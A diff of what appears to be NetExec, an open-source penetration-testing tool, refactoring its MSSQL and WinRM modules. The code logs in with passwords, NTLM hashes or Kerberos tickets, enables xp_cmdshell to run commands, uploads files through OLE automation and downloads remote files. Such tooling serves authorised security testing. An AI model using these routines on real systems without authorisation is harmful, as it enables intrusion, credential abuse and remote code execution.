||||
if self.args.domain:
|
||||
self.domain = self.args.domain
|
||||
|
||||
if self.args.local_auth:
|
||||
self.domain = self.hostname
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Error retrieving host domain: {e} specify one manually with the '-d' flag")
|
||||
|
||||
self.mssql_instances = self.conn.getInstances(0)
|
||||
self.db.add_host(
|
||||
self.host,
|
||||
self.hostname,
|
||||
self.domain,
|
||||
self.server_os,
|
||||
len(self.mssql_instances),
|
||||
)
|
||||
|
||||
with contextlib.suppress(Exception):
|
||||
self.conn.disconnect()
|
||||
|
||||
def print_host_info(self):
|
||||
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain})")
|
||||
# if len(self.mssql_instances) > 0:
|
||||
# for i, instance in enumerate(self.mssql_instances):
|
||||
# for key in instance.keys():
|
||||
|
||||
def create_conn_obj(self):
|
||||
try:
|
||||
self.conn = tds.MSSQL(self.host, self.port)
|
||||
self.conn.connect()
|
||||
except OSError as e:
|
||||
self.logger.debug(f"Error connecting to MSSQL: {e}")
|
||||
# Default has not timeout option in tds.MSSQL.connect() function, let rewrite it.
|
||||
af, socktype, proto, canonname, sa = socket.getaddrinfo(self.host, self.port, 0, socket.SOCK_STREAM)[0]
|
||||
sock = socket.socket(af, socktype, proto)
|
||||
sock.settimeout(self.args.mssql_timeout)
|
||||
sock.connect(sa)
|
||||
self.conn.socket = sock
|
||||
if not self.is_mssql:
|
||||
self.conn.preLogin()
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error connecting to MSSQL service on host: {self.host}, reason: {e}")
|
||||
return False
|
||||
return True
|
||||
else:
|
||||
self.is_mssql = True
|
||||
return True
|
||||
|
||||
def reconnect_mssql(func):
|
||||
def wrapper(self, *args, **kwargs):
|
||||
with contextlib.suppress(Exception):
|
||||
self.conn.disconnect()
|
||||
# When using ccache file, we must need to set target host to hostname when creating connection object.
|
||||
if self.kerberos:
|
||||
self.host = self.hostname
|
||||
self.create_conn_obj()
|
||||
return func(self, *args, **kwargs)
|
||||
return wrapper
|
||||
|
||||
def check_if_admin(self):
|
||||
self.admin_privs = False
|
||||
try:
|
||||
results = self.conn.sql_query("SELECT IS_SRVROLEMEMBER('sysadmin')")
|
||||
is_admin = int(results[0][""])
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Error querying for sysadmin role: {e}")
|
||||
return False
|
||||
|
||||
if is_admin:
|
||||
self.admin_privs = True
|
||||
self.logger.debug("User is admin")
|
||||
else:
|
||||
if is_admin:
|
||||
self.admin_privs = True
|
||||
|
||||
@reconnect_mssql
|
||||
def enum_host_info(self):
|
||||
challenge = None
|
||||
try:
|
||||
login = tds.TDS_LOGIN()
|
||||
login["HostName"] = ""
|
||||
login["AppName"] = ""
|
||||
login["ServerName"] = self.conn.server.encode("utf-16le")
|
||||
login["CltIntName"] = login["AppName"]
|
||||
login["ClientPID"] = random.randint(0, 1024)
|
||||
login["PacketSize"] = self.conn.packetSize
|
||||
login["OptionFlags2"] = tds.TDS_INIT_LANG_FATAL | tds.TDS_ODBC_ON | tds.TDS_INTEGRATED_SECURITY_ON
|
||||
|
||||
# NTLMSSP Negotiate
|
||||
auth = ntlm.getNTLMSSPType1("", "")
|
||||
login["SSPI"] = auth.getData()
|
||||
login["Length"] = len(login.getData())
|
||||
|
||||
# Get number of mssql instance
|
||||
self.mssql_instances = self.conn.getInstances(0)
|
||||
|
||||
# Send the NTLMSSP Negotiate or SQL Auth Packet
|
||||
self.conn.sendTDS(tds.TDS_LOGIN7, login.getData())
|
||||
|
||||
tdsx = self.conn.recvTDS()
|
||||
challenge = tdsx["Data"][3:]
|
||||
self.logger.info(f"NTLM challenge: {challenge!s}")
|
||||
except Exception as e:
|
||||
self.logger.info(f"Failed to receive NTLM challenge, reason: {e!s}")
|
||||
return False
|
||||
else:
|
||||
ntlm_info = parse_challenge(challenge)
|
||||
self.domain = ntlm_info["domain"]
|
||||
self.hostname = ntlm_info["hostname"]
|
||||
self.server_os = ntlm_info["os_version"]
|
||||
self.logger.extra["hostname"] = self.hostname
|
||||
self.db.add_host(self.host, self.hostname, self.domain, self.server_os, len(self.mssql_instances),)
|
||||
|
||||
if self.args.domain:
|
||||
self.domain = self.args.domain
|
||||
|
||||
if self.args.local_auth:
|
||||
self.domain = self.hostname
|
||||
|
||||
if self.domain is None:
|
||||
self.domain = ""
|
||||
|
||||
def print_host_info(self):
|
||||
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain})")
|
||||
return True
|
||||
|
||||
@reconnect_mssql
|
||||
def kerberos_login(
|
||||
self,
|
||||
domain,
|
||||
|
@ -144,146 +152,126 @@ class mssql(connection):
|
|||
kdcHost="",
|
||||
useCache=False,
|
||||
):
|
||||
with contextlib.suppress(Exception):
|
||||
self.conn.disconnect()
|
||||
self.create_conn_obj()
|
||||
|
||||
self.username = username
|
||||
self.password = password
|
||||
self.domain = domain
|
||||
self.nthash = ""
|
||||
hashes = None
|
||||
if ntlm_hash != "":
|
||||
if ntlm_hash:
|
||||
if ntlm_hash.find(":") != -1:
|
||||
hashes = ntlm_hash
|
||||
ntlm_hash.split(":")[1]
|
||||
self.nthash = ntlm_hash.split(":")[1]
|
||||
hashes = f":{self.nthash}"
|
||||
else:
|
||||
# only nt hash
|
||||
hashes = f":{ntlm_hash}"
|
||||
self.nthash = ntlm_hash
|
||||
hashes = f":{self.nthash}"
|
||||
|
||||
kerb_pass = next(s for s in [self.nthash, password, aesKey] if s) if not all(s == "" for s in [self.nthash, password, aesKey]) else ""
|
||||
|
||||
if useCache and kerb_pass == "":
|
||||
ccache = CCache.loadFile(os.getenv("KRB5CCNAME"))
|
||||
username = ccache.credentials[0].header["client"].prettyPrint().decode().split("@")[0]
|
||||
self.username = username
|
||||
|
||||
used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
|
||||
|
||||
try:
|
||||
res = self.conn.kerberosLogin(
|
||||
None,
|
||||
username,
|
||||
password,
|
||||
domain,
|
||||
self.username,
|
||||
self.password,
|
||||
self.domain,
|
||||
hashes,
|
||||
aesKey,
|
||||
kdcHost=kdcHost,
|
||||
useCache=useCache,
|
||||
)
|
||||
if res is not True:
|
||||
self.conn.printReplies()
|
||||
return False
|
||||
|
||||
self.password = password
|
||||
if username == "" and useCache:
|
||||
ccache = CCache.loadFile(os.getenv("KRB5CCNAME"))
|
||||
principal = ccache.principal.toPrincipal()
|
||||
self.username = principal.components[0]
|
||||
username = principal.components[0]
|
||||
else:
|
||||
self.username = username
|
||||
self.domain = domain
|
||||
raise
|
||||
self.check_if_admin()
|
||||
|
||||
used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
|
||||
domain = f"{domain}\\" if not self.args.local_auth else ""
|
||||
|
||||
self.logger.success(f"{domain}{username}{used_ccache} {self.mark_pwned()}")
|
||||
self.logger.success(f"{self.domain}\\{self.username}{used_ccache} {self.mark_pwned()}")
|
||||
if not self.args.local_auth:
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
if self.admin_privs:
|
||||
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
||||
return True
|
||||
except Exception as e:
|
||||
used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
|
||||
domain = f"{domain}\\" if not self.args.local_auth else ""
|
||||
self.logger.fail(f"{domain}\\{username}{used_ccache} {e}")
|
||||
return False
|
||||
|
||||
def plaintext_login(self, domain, username, password):
|
||||
with contextlib.suppress(Exception):
|
||||
self.conn.disconnect()
|
||||
self.create_conn_obj()
|
||||
|
||||
try:
|
||||
# this is to prevent a decoding issue in impacket/ntlm.py:617 where it attempts to decode the domain
|
||||
if not domain:
|
||||
domain = ""
|
||||
res = self.conn.login(None, username, password, domain, None, not self.args.local_auth)
|
||||
if res is not True:
|
||||
self.handle_mssql_reply()
|
||||
return False
|
||||
|
||||
self.password = password
|
||||
self.username = username
|
||||
self.domain = domain
|
||||
self.check_if_admin()
|
||||
self.db.add_credential("plaintext", domain, username, password)
|
||||
|
||||
if self.admin_privs:
|
||||
self.db.add_admin_user("plaintext", domain, username, password, self.host)
|
||||
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
||||
|
||||
domain = f"{domain}\\" if not self.args.local_auth else ""
|
||||
out = f"{domain}{username}:{process_secret(password)} {self.mark_pwned()}"
|
||||
self.logger.success(out)
|
||||
if not self.args.local_auth:
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
add_user_bh(f"{self.hostname}$", self.domain, self.logger, self.config)
|
||||
return True
|
||||
except BrokenPipeError:
|
||||
self.logger.fail("Broken Pipe Error while attempting to login")
|
||||
return False
|
||||
except Exception as e:
|
||||
self.logger.fail(f"{domain}\\{username}:{process_secret(password)}")
|
||||
self.logger.exception(e)
|
||||
except Exception:
|
||||
error_msg = self.handle_mssql_reply()
|
||||
self.logger.fail("{}\\{}:{} {}".format(self.domain, self.username, kerb_pass, error_msg if error_msg else ""))
|
||||
return False
|
||||
|
||||
@reconnect_mssql
|
||||
def plaintext_login(self, domain, username, password):
|
||||
self.password = password
|
||||
self.username = username
|
||||
self.domain = domain
|
||||
|
||||
try:
|
||||
res = self.conn.login(
|
||||
None,
|
||||
self.username,
|
||||
self.password,
|
||||
self.domain,
|
||||
None,
|
||||
not self.args.local_auth,
|
||||
)
|
||||
if res is not True:
|
||||
raise
|
||||
self.check_if_admin()
|
||||
out = f"{self.domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}"
|
||||
self.logger.success(out)
|
||||
if not self.args.local_auth:
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
if self.admin_privs:
|
||||
add_user_bh(f"{self.hostname}$", self.domain, self.logger, self.config)
|
||||
return True
|
||||
except BrokenPipeError:
|
||||
self.logger.fail("Broken Pipe Error while attempting to login")
|
||||
return False
|
||||
except Exception:
|
||||
error_msg = self.handle_mssql_reply()
|
||||
self.logger.fail("{}\\{}:{} {}".format(self.domain, self.username, process_secret(self.password), error_msg if error_msg else ""))
|
||||
return False
|
||||
|
||||
@reconnect_mssql
|
||||
def hash_login(self, domain, username, ntlm_hash):
|
||||
lmhash = ""
|
||||
nthash = ""
|
||||
|
||||
# This checks to see if we didn't provide the LM Hash
|
||||
self.username = username
|
||||
self.domain = domain
|
||||
self.lmhash = ""
|
||||
self.nthash = ""
|
||||
|
||||
if ntlm_hash.find(":") != -1:
|
||||
lmhash, nthash = ntlm_hash.split(":")
|
||||
self.lmhash, self.nthash = ntlm_hash.split(":")
|
||||
else:
|
||||
nthash = ntlm_hash
|
||||
|
||||
with contextlib.suppress(Exception):
|
||||
self.conn.disconnect()
|
||||
self.create_conn_obj()
|
||||
self.nthash = ntlm_hash
|
||||
|
||||
try:
|
||||
res = self.conn.login(
|
||||
None,
|
||||
username,
|
||||
self.username,
|
||||
"",
|
||||
domain,
|
||||
":" + nthash if not lmhash else ntlm_hash,
|
||||
self.domain,
|
||||
f"{self.lmhash}:{self.nthash}",
|
||||
not self.args.local_auth,
|
||||
)
|
||||
if res is not True:
|
||||
self.conn.printReplies()
|
||||
return False
|
||||
|
||||
self.hash = ntlm_hash
|
||||
self.username = username
|
||||
self.domain = domain
|
||||
raise
|
||||
self.check_if_admin()
|
||||
self.db.add_credential("hash", domain, username, ntlm_hash)
|
||||
|
||||
if self.admin_privs:
|
||||
self.db.add_admin_user("hash", domain, username, ntlm_hash, self.host)
|
||||
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
||||
|
||||
out = f"{domain}\\{username} {process_secret(ntlm_hash)} {self.mark_pwned()}"
|
||||
out = f"{self.domain}\\{self.username}:{process_secret(self.nthash)} {self.mark_pwned()}"
|
||||
self.logger.success(out)
|
||||
if not self.args.local_auth:
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
if self.admin_privs:
|
||||
add_user_bh(f"{self.hostname}$", self.domain, self.logger, self.config)
|
||||
return True
|
||||
except BrokenPipeError:
|
||||
self.logger.fail("Broken Pipe Error while attempting to login")
|
||||
return False
|
||||
except Exception as e:
|
||||
self.logger.fail(f"{domain}\\{username}:{process_secret(ntlm_hash)} {e}")
|
||||
except Exception:
|
||||
error_msg = self.handle_mssql_reply()
|
||||
self.logger.fail("{}\\{}:{} {}".format(self.domain, self.username, process_secret(self.nthash), error_msg if error_msg else ""))
|
||||
return False
|
||||
|
||||
def mssql_query(self):
|
||||
|
@ -306,47 +294,39 @@ class mssql(connection):
|
|||
else:
|
||||
self.logger.fail("Unexpected output")
|
||||
except Exception as e:
|
||||
self.logger.exception(e)
|
||||
self.logger.exception(f"Failed to excuted MSSQL query, reason: {e}")
|
||||
return None
|
||||
|
||||
return raw_output
|
||||
|
||||
@requires_admin
|
||||
def execute(self, payload=None, print_output=False):
|
||||
def execute(self, payload=None, get_output=False):
|
||||
if not payload and self.args.execute:
|
||||
payload = self.args.execute
|
||||
|
||||
self.logger.info(f"Command to execute:\n{payload}")
|
||||
if not self.args.no_output:
|
||||
get_output = True
|
||||
|
||||
self.logger.info(f"Command to execute: {payload}")
|
||||
try:
|
||||
exec_method = MSSQLEXEC(self.conn)
|
||||
raw_output = exec_method.execute(payload, print_output)
|
||||
self.logger.info("Executed command via mssqlexec")
|
||||
self.logger.debug(f"Raw output: {raw_output}")
|
||||
exec_method = MSSQLEXEC(self.conn, self.logger)
|
||||
raw_output = exec_method.execute(payload, get_output)
|
||||
except Exception as e:
|
||||
self.logger.exception(e)
|
||||
return None
|
||||
|
||||
if hasattr(self, "server"):
|
||||
self.server.track_host(self.host)
|
||||
|
||||
if self.args.execute or self.args.ps_execute:
|
||||
self.logger.fail(f"Execute command failed, error: {e!s}")
|
||||
return False
|
||||
else:
|
||||
self.logger.success("Executed command via mssqlexec")
|
||||
if self.args.no_output:
|
||||
self.logger.debug("Output set to disabled")
|
||||
else:
|
||||
if raw_output:
|
||||
for line in raw_output:
|
||||
self.logger.highlight(line)
|
||||
|
||||
return raw_output
|
||||
return raw_output
|
||||
|
||||
@requires_admin
|
||||
def ps_execute(
|
||||
self,
|
||||
payload=None,
|
||||
get_output=False,
|
||||
methods=None,
|
||||
force_ps32=False,
|
||||
dont_obfs=True,
|
||||
dont_obfs=False,
|
||||
):
|
||||
if not payload and self.args.ps_execute:
|
||||
payload = self.args.ps_execute
|
||||
|
@ -364,7 +344,7 @@ class mssql(connection):
|
|||
try:
|
||||
data = f.read()
|
||||
self.logger.display(f"Size is {len(data)} bytes")
|
||||
exec_method = MSSQLEXEC(self.conn)
|
||||
exec_method = MSSQLEXEC(self.conn, self.logger)
|
||||
exec_method.put_file(data, self.args.put_file[1])
|
||||
if exec_method.file_exists(self.args.put_file[1]):
|
||||
self.logger.success("File has been uploaded on the remote machine")
|
||||
|
@ -374,13 +354,13 @@ class mssql(connection):
|
|||
self.logger.fail(f"Error during upload : {e}")
|
||||
|
||||
@requires_admin
|
||||
def get_file(self):
|
||||
def get_file(self):
|
||||
remote_path = self.args.get_file[0]
|
||||
download_path = self.args.get_file[1]
|
||||
self.logger.display(f'Copying "{remote_path}" to "{download_path}"')
|
||||
|
||||
try:
|
||||
exec_method = MSSQLEXEC(self.conn)
|
||||
exec_method = MSSQLEXEC(self.conn, self.logger)
|
||||
exec_method.get_file(self.args.get_file[0], self.args.get_file[1])
|
||||
self.logger.success(f'File "{remote_path}" was downloaded to "{download_path}"')
|
||||
except Exception as e:
|
||||
|
@ -394,13 +374,13 @@ class mssql(connection):
|
|||
for keys in self.conn.replies:
|
||||
for _i, key in enumerate(self.conn.replies[keys]):
|
||||
if key["TokenType"] == TDS_ERROR_TOKEN:
|
||||
error = f"ERROR({key['ServerName'].decode('utf-16le')}): Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}"
|
||||
error_msg = f"({key['MsgText'].decode('utf-16le')} Please try again with or without '--local-auth')"
|
||||
self.conn.lastError = SQLErrorException(f"ERROR: Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}")
|
||||
self.logger.fail(error)
|
||||
return error_msg
|
||||
elif key["TokenType"] == TDS_INFO_TOKEN:
|
||||
self.logger.display(f"INFO({key['ServerName'].decode('utf-16le')}): Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}")
|
||||
return f"({key['MsgText'].decode('utf-16le')})"
|
||||
elif key["TokenType"] == TDS_LOGINACK_TOKEN:
|
||||
self.logger.display(f"ACK: Result: {key['Interface']} - {key['ProgName'].decode('utf-16le')} ({key['MajorVer']:d}{key['MinorVer']:d} {key['BuildNumHi']:d}{key['BuildNumLow']:d}) ")
|
||||
return f"(ACK: Result: {key['Interface']} - {key['ProgName'].decode('utf-16le')} ({key['MajorVer']:d}{key['MinorVer']:d} {key['BuildNumHi']:d}{key['BuildNumLow']:d}) )"
|
||||
elif key["TokenType"] == TDS_ENVCHANGE_TOKEN and key["Type"] in (
|
||||
TDS_ENVCHANGE_DATABASE,
|
||||
TDS_ENVCHANGE_LANGUAGE,
|
||||
|
@ -422,4 +402,4 @@ class mssql(connection):
|
|||
_type = "PACKETSIZE"
|
||||
else:
|
||||
_type = f"{key['Type']:d}"
|
||||
self.logger.display(f"ENVCHANGE({_type}): Old Value: {record['OldValue'].decode('utf-16le')}, New Value: {record['NewValue'].decode('utf-16le')}")
|
||||
return f"(ENVCHANGE({_type}): Old Value: {record['OldValue'].decode('utf-16le')}, New Value: {record['NewValue'].decode('utf-16le')})"
|
||||
|
|
|
@ -1,38 +1,38 @@
|
|||
import binascii
|
||||
from nxc.logger import nxc_logger
|
||||
|
||||
|
||||
class MSSQLEXEC:
|
||||
def __init__(self, connection):
|
||||
def __init__(self, connection, logger):
|
||||
self.mssql_conn = connection
|
||||
self.outputBuffer = ""
|
||||
self.logger = logger
|
||||
self.outputBuffer = []
|
||||
|
||||
def execute(self, command, output=False):
|
||||
command_output = []
|
||||
try:
|
||||
self.enable_xp_cmdshell()
|
||||
except Exception as e:
|
||||
nxc_logger.error(f"Error when attempting to enable x_cmdshell: {e}")
|
||||
self.logger.error(f"Error when attempting to enable x_cmdshell: {e}")
|
||||
|
||||
try:
|
||||
result = self.mssql_conn.sql_query(f"exec master..xp_cmdshell '{command}'")
|
||||
nxc_logger.debug(f"SQL Query Result: {result}")
|
||||
for row in result:
|
||||
if row["output"] == "NULL":
|
||||
continue
|
||||
command_output.append(row["output"])
|
||||
except Exception as e:
|
||||
nxc_logger.error(f"Error when attempting to execute command via xp_cmdshell: {e}")
|
||||
self.logger.error(f"Error when attempting to execute command via xp_cmdshell: {e}")
|
||||
|
||||
if output:
|
||||
nxc_logger.debug("Output is enabled")
|
||||
for row in command_output:
|
||||
nxc_logger.debug(row)
|
||||
# if len(self.outputBuffer):
|
||||
try:
|
||||
self.disable_xp_cmdshell()
|
||||
except Exception as e:
|
||||
nxc_logger.error(f"[OPSEC] Error when attempting to disable xp_cmdshell: {e}")
|
||||
return command_output
|
||||
self.logger.error(f"[OPSEC] Error when attempting to disable xp_cmdshell: {e}")
|
||||
|
||||
if output:
|
||||
self.logger.debug(f"SQL Query Result: {result}")
|
||||
for row in result:
|
||||
if row["output"] == "NULL":
|
||||
continue
|
||||
self.outputBuffer.append(row["output"])
|
||||
else:
|
||||
self.logger.info("Output set to disabled")
|
||||
|
||||
return self.outputBuffer
|
||||
|
||||
def enable_xp_cmdshell(self):
|
||||
self.mssql_conn.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;")
|
||||
|
@ -53,7 +53,7 @@ class MSSQLEXEC:
|
|||
self.mssql_conn.sql_query(f"DECLARE @ob INT;EXEC sp_OACreate 'ADODB.Stream', @ob OUTPUT;EXEC sp_OASetProperty @ob, 'Type', 1;EXEC sp_OAMethod @ob, 'Open';EXEC sp_OAMethod @ob, 'Write', NULL, 0x{hexdata};EXEC sp_OAMethod @ob, 'SaveToFile', NULL, '{remote}', 2;EXEC sp_OAMethod @ob, 'Close';EXEC sp_OADestroy @ob;")
|
||||
self.disable_ole()
|
||||
except Exception as e:
|
||||
nxc_logger.debug(f"Error uploading via mssqlexec: {e}")
|
||||
self.logger.debug(f"Error uploading via mssqlexec: {e}")
|
||||
|
||||
def file_exists(self, remote):
|
||||
try:
|
||||
|
@ -71,4 +71,4 @@ class MSSQLEXEC:
|
|||
f.write(binascii.unhexlify(data))
|
||||
|
||||
except Exception as e:
|
||||
nxc_logger.debug(f"Error downloading via mssqlexec: {e}")
|
||||
self.logger.debug(f"Error downloading via mssqlexec: {e}")
|
||||
|
|
|
@ -1,17 +1,13 @@
|
|||
from argparse import _StoreTrueAction
|
||||
|
||||
|
||||
def proto_args(parser, std_parser, module_parser):
|
||||
mssql_parser = parser.add_parser("mssql", help="own stuff using MSSQL", parents=[std_parser, module_parser])
|
||||
mssql_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
|
||||
mssql_parser.add_argument("--port", default=1433, type=int, metavar="PORT", help="MSSQL port (default: 1433)")
|
||||
mssql_parser.add_argument("--mssql-timeout", help="SQL server connection timeout, default is %(default)s seconds", type=int, default=5)
|
||||
mssql_parser.add_argument("-q", "--query", dest="mssql_query", metavar="QUERY", type=str, help="execute the specified query against the MSSQL DB")
|
||||
no_smb_arg = mssql_parser.add_argument("--no-smb", action=get_conditional_action(_StoreTrueAction), make_required=[], help="No smb connection")
|
||||
|
||||
dgroup = mssql_parser.add_mutually_exclusive_group()
|
||||
domain_arg = dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, help="domain name")
|
||||
dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, help="domain name")
|
||||
dgroup.add_argument("--local-auth", action="store_true", help="authenticate locally to each target")
|
||||
no_smb_arg.make_required = [domain_arg]
|
||||
|
||||
cgroup = mssql_parser.add_argument_group("Command Execution", "options for executing commands")
|
||||
cgroup.add_argument("--force-ps32", action="store_true", help="force the PowerShell command to run in a 32-bit process")
|
||||
|
@ -25,22 +21,7 @@ def proto_args(parser, std_parser, module_parser):
|
|||
psgroup.add_argument("--clear-obfscripts", action="store_true", help="Clear all cached obfuscated PowerShell scripts")
|
||||
|
||||
tgroup = mssql_parser.add_argument_group("Files", "Options for put and get remote files")
|
||||
tgroup.add_argument("--put-file", nargs=2, metavar="FILE", help="Put a local file into remote target, ex: whoami.txt C:\\Windows\\Temp\\whoami.txt")
|
||||
tgroup.add_argument("--get-file", nargs=2, metavar="FILE", help="Get a remote file, ex: C:\\Windows\\Temp\\whoami.txt whoami.txt")
|
||||
tgroup.add_argument("--put-file", nargs=2, metavar=("SRC_FILE", "DEST_FILE"), help="Put a local file into remote target, ex: whoami.txt C:\\Windows\\Temp\\whoami.txt")
|
||||
tgroup.add_argument("--get-file", nargs=2, metavar=("SRC_FILE", "DEST_FILE"), help="Get a remote file, ex: C:\\Windows\\Temp\\whoami.txt whoami.txt")
|
||||
|
||||
return parser
|
||||
|
||||
|
||||
def get_conditional_action(baseAction):
|
||||
class ConditionalAction(baseAction):
|
||||
def __init__(self, option_strings, dest, **kwargs):
|
||||
x = kwargs.pop("make_required", [])
|
||||
super().__init__(option_strings, dest, **kwargs)
|
||||
self.make_required = x
|
||||
|
||||
def __call__(self, parser, namespace, values, option_string=None):
|
||||
for x in self.make_required:
|
||||
x.required = True
|
||||
super().__call__(parser, namespace, values, option_string)
|
||||
|
||||
return ConditionalAction
|
||||
return parser
|
|
@ -115,7 +115,7 @@ class SAMRQuery:
|
|||
self.server_handle = self.get_server_handle()
|
||||
|
||||
def get_transport(self):
|
||||
string_binding = f"ncacn_np:{self.__port}[\pipe\samr]"
|
||||
string_binding = rf"ncacn_np:{self.__port}[\pipe\samr]"
|
||||
nxc_logger.debug(f"Binding to {string_binding}")
|
||||
# using a direct SMBTransport instead of DCERPCTransportFactory since we need the filename to be '\samr'
|
||||
return transport.SMBTransport(
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
import os
|
||||
import base64
|
||||
import requests
|
||||
import urllib3
|
||||
import contextlib
|
||||
import logging
|
||||
import xml.etree.ElementTree as ET
|
||||
|
||||
|
@ -10,13 +10,13 @@ from datetime import datetime
|
|||
from pypsrp.wsman import NAMESPACES
|
||||
from pypsrp.client import Client
|
||||
|
||||
from impacket.smbconnection import SMBConnection
|
||||
from impacket.examples.secretsdump import LocalOperations, LSASecrets, SAMHashes
|
||||
|
||||
from nxc.config import process_secret
|
||||
from nxc.connection import connection
|
||||
from nxc.helpers.bloodhound import add_user_bh
|
||||
from nxc.helpers.misc import gen_random_string
|
||||
from nxc.helpers.ntlm_parser import parse_challenge
|
||||
from nxc.logger import NXCAdapter
|
||||
|
||||
|
||||
|
@ -33,58 +33,33 @@ class winrm(connection):
|
|||
self.lmhash = ""
|
||||
self.nthash = ""
|
||||
self.ssl = False
|
||||
self.auth_type = None
|
||||
self.challenge_header = None
|
||||
|
||||
connection.__init__(self, args, db, host)
|
||||
|
||||
def proto_logger(self):
|
||||
# Reason why default is SMB/445, because default is enumerate over SMB.
|
||||
# For more details, please check the function "print_host_info"
|
||||
# For more details, please check the function "print_host_info"
|
||||
logging.getLogger("pypsrp").disabled = True
|
||||
logging.getLogger("pypsrp.wsman").disabled = True
|
||||
self.logger = NXCAdapter(
|
||||
extra={
|
||||
"protocol": "SMB",
|
||||
"protocol": "WINRM",
|
||||
"host": self.host,
|
||||
"port": "445",
|
||||
"port": "5985",
|
||||
"hostname": self.hostname,
|
||||
}
|
||||
)
|
||||
|
||||
def enum_host_info(self):
|
||||
# smb no open, specify the domain
|
||||
if self.args.no_smb:
|
||||
self.domain = self.args.domain
|
||||
else:
|
||||
try:
|
||||
smb_conn = SMBConnection(self.host, self.host, None, timeout=5)
|
||||
no_ntlm = False
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Error retrieving host domain: {e} specify one manually with the '-d' flag")
|
||||
else:
|
||||
try:
|
||||
smb_conn.login("", "")
|
||||
except BrokenPipeError:
|
||||
self.logger.fail("Broken Pipe Error while attempting to login")
|
||||
except Exception as e:
|
||||
if "STATUS_NOT_SUPPORTED" in str(e):
|
||||
# no ntlm supported
|
||||
no_ntlm = True
|
||||
ntlm_info = parse_challenge(base64.b64decode(self.challenge_header.split(" ")[1].replace(",", "")))
|
||||
self.domain = ntlm_info["domain"]
|
||||
self.hostname = ntlm_info["hostname"]
|
||||
self.server_os = ntlm_info["os_version"]
|
||||
self.logger.extra["hostname"] = self.hostname
|
||||
|
||||
self.domain = smb_conn.getServerDNSDomainName() if not no_ntlm else self.args.domain
|
||||
self.hostname = smb_conn.getServerName() if not no_ntlm else self.host
|
||||
self.server_os = smb_conn.getServerOS()
|
||||
if isinstance(self.server_os.lower(), bytes):
|
||||
self.server_os = self.server_os.decode("utf-8")
|
||||
self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}")
|
||||
|
||||
self.logger.extra["hostname"] = self.hostname
|
||||
|
||||
self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}")
|
||||
|
||||
with contextlib.suppress(Exception):
|
||||
smb_conn.logoff()
|
||||
|
||||
self.db.add_host(self.host, self.port, self.hostname, self.domain, self.server_os)
|
||||
self.db.add_host(self.host, self.port, self.hostname, self.domain, self.server_os)
|
||||
|
||||
if self.args.domain:
|
||||
self.domain = self.args.domain
|
||||
|
@ -98,16 +73,10 @@ class winrm(connection):
|
|||
self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-"))
|
||||
|
||||
def print_host_info(self):
|
||||
if self.args.no_smb:
|
||||
self.logger.extra["protocol"] = "WINRM-SSL" if self.ssl else "WINRM"
|
||||
self.logger.extra["port"] = self.port
|
||||
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain})")
|
||||
else:
|
||||
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain})")
|
||||
self.logger.extra["protocol"] = "WINRM-SSL" if self.ssl else "WINRM"
|
||||
self.logger.extra["port"] = self.port
|
||||
|
||||
self.logger.info(f"Connection information: {self.endpoint} (auth type:{self.auth_type}) (domain:{self.domain if self.args.domain else ''})")
|
||||
self.logger.extra["protocol"] = "WINRM-SSL" if self.ssl else "WINRM"
|
||||
self.logger.extra["port"] = self.port
|
||||
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain})")
|
||||
|
||||
return True
|
||||
|
||||
def create_conn_obj(self):
|
||||
|
@ -117,6 +86,14 @@ class winrm(connection):
|
|||
|
||||
endpoints = {}
|
||||
|
||||
headers = {
|
||||
"Content-Length": "0",
|
||||
"Keep-Alive": "true",
|
||||
"Content-Type": "application/soap+xml;charset=UTF-8",
|
||||
"User-Agent": "Microsoft WinRM Client",
|
||||
"Authorization": "Negotiate TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw=="
|
||||
}
|
||||
|
||||
for protocol in self.args.check_proto:
|
||||
endpoints[protocol] = {}
|
||||
endpoints[protocol]["port"] = self.port[self.args.check_proto.index(protocol)] if len(self.port) == 2 else self.port[0]
|
||||
|
@ -131,9 +108,12 @@ class winrm(connection):
|
|||
self.port = endpoints[protocol]["port"]
|
||||
try:
|
||||
self.logger.debug(f"Requesting URL: {endpoints[protocol]['url']}")
|
||||
res = requests.post(endpoints[protocol]["url"], verify=False, timeout=self.args.http_timeout)
|
||||
res = requests.post(endpoints[protocol]["url"], headers=headers, verify=False, timeout=self.args.http_timeout)
|
